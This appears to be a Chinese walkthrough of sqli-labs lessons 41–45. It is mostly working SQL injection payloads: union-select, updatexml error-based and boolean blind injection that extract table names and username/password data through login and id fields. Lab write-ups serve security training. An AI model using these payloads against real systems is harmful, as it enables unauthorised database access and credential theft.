Less-41
步骤一:查看数据库名
?id=-1 union select 1,2,database()--+
步骤二:查看表名
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
步骤三:查看users表中列名
?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+
步骤四:查看users表中信息
?id=-1 union select 1,2,group_concat(id,username,password) from users --+
Less-42
步骤一:登陆抓包,发放到重放器
步骤二:查看数据库名
login_user=1'--+&login_password=1000'or updatexml(1,concat(1,(select database())),1)--+
步骤三:查看表名
login_user=1'--+&login_password=1000'or updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)--+
步骤四:查看users表中列名
login_user=1'--+&login_password=1000'or updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)--+
步骤五:查看users表中信息
login_user=1'--+&login_password=1000'or updatexml(1,concat(1,(select group_concat(username,password) from users)),1)--+
Less-43
步骤一:登陆抓包,发放到重放器
步骤二:查看数据库名
login_user=1')--+&login_password=1000')or updatexml(1,concat(1,(select database())),1)--+
步骤三:查看表名
login_user=1')--+&login_password=1000')or updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)--+
步骤四:查看users表中列名
login_user=1')--+&login_password=1000')or updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)--+
步骤五:查看users表中信息
login_user=1')--+&login_password=1000')or updatexml(1,concat(1,(select group_concat(username,password) from users)),1)--+
Less-44
步骤一:登陆抓包,发放到重放器
步骤二:页面只有ture和flase两种情况,所以需要使用布尔盲注
判断数据库长度大于7 页面图片消失
login_user=1'or 1=1--+&login_password=1000'or length(database())>7--+
判断数据库长度大于8 页面报错 说明数据库长度等于8:
login_user=1'or 1=1--+&login_password=1000'or length(database())>8--+
步骤三:判断数据库的第一个字符
用ascii码截取数据库的第一位字符 判断第一位字符的ascii码是否大于114 页面图片消失
login_user=1'or 1=1--+&login_password=1000'or ascii(substr(database(),1,1))>114--+
判断数据库第一位字符的ascii码是否大于115 页面显示报错 说明第一位字符ascii码等于115
login_user=1'or 1=1--+&login_password=1000'or ascii(substr(database(),1,1))>115--+
数据库第一位字符ascii码为115 's'。
............................最终得出数据库名为security
步骤四:查security数据库中第一张表的第一位字符
login_user=1'or 1=1--+&login_password=1000'or ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100--+
login_user=1'or 1=1--+&login_password=1000'or ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>101--+
大于100不大于101 说明第一张表的第一位字符等于101 'e' 。
................................最终得出第一张表的表名为emails
步骤五:判断users表中第一个字段的第一位字符
login_user=1'or 1=1--+&login_password=1000'or ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>104--+
login_user=1'or 1=1--+&login_password=1000'or ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>105--+
说明users表的第一个字段的第一位字符ascii码为105 'i'
............最终得出users表的第一个字段为id
步骤六:判断username列的第一条数据的第一个字符
login_user=1'or 1=1--+&login_password=1000'or ascii(substr((select username from users limit 0,1),1,1))>67--+
login_user=1'or 1=1--+&login_password=1000'or ascii(substr((select username from users limit 0,1),1,1))>68--+
说明users表里面的username字段的第一条数据的第一个字符的ascii码为68'D'
...........最终得出users表里面的username字段的第一条数据为Dumb
Less-45
步骤一:登陆抓包,发放到重放器
步骤二:页面只有ture和flase两种情况,所以需要使用布尔盲注
判断数据库长度大于7 页面图片消失
login_user=1')or 1=1--+&login_password=1000')or length(database())>7--+
判断数据库长度大于8 页面报错 说明数据库长度等于8:
login_user=1')or 1=1--+&login_password=1000')or length(database())>8--+
步骤三:判断数据库的第一个字符
用ascii码截取数据库的第一位字符 判断第一位字符的ascii码是否大于114 页面图片消失
login_user=1')or 1=1--+&login_password=1000')or ascii(substr(database(),1,1))>114--+
判断数据库第一位字符的ascii码是否大于115 页面显示报错 说明第一位字符ascii码等于115
login_user=1')or 1=1--+&login_password=1000')or ascii(substr(database(),1,1))>115--+
数据库第一位字符ascii码为115 's'。
............................最终得出数据库名为security
步骤四:查security数据库中第一张表的第一位字符
login_user=1')or 1=1--+&login_password=1000')or ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100--+
login_user=1')or 1=1--+&login_password=1000')or ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>101--+
大于100不大于101 说明第一张表的第一位字符等于101 'e' 。
................................最终得出第一张表的表名为emails
步骤五:判断users表中第一个字段的第一位字符
login_user=1')or 1=1--+&login_password=1000')or ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>104--+
login_user=1')or 1=1--+&login_password=1000')or ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>105--+
说明users表的第一个字段的第一位字符ascii码为105 'i'
............最终得出users表的第一个字段为id
步骤六:判断username列的第一条数据的第一个字符
login_user=1')or 1=1--+&login_password=1000')or ascii(substr((select username from users limit 0,1),1,1))>67--+
login_user=1')or 1=1--+&login_password=1000')or ascii(substr((select username from users limit 0,1),1,1))>68--+
说明users表里面的username字段的第一条数据的第一个字符的ascii码为68'D'
...........最终得出users表里面的username字段的第一条数据为Dumb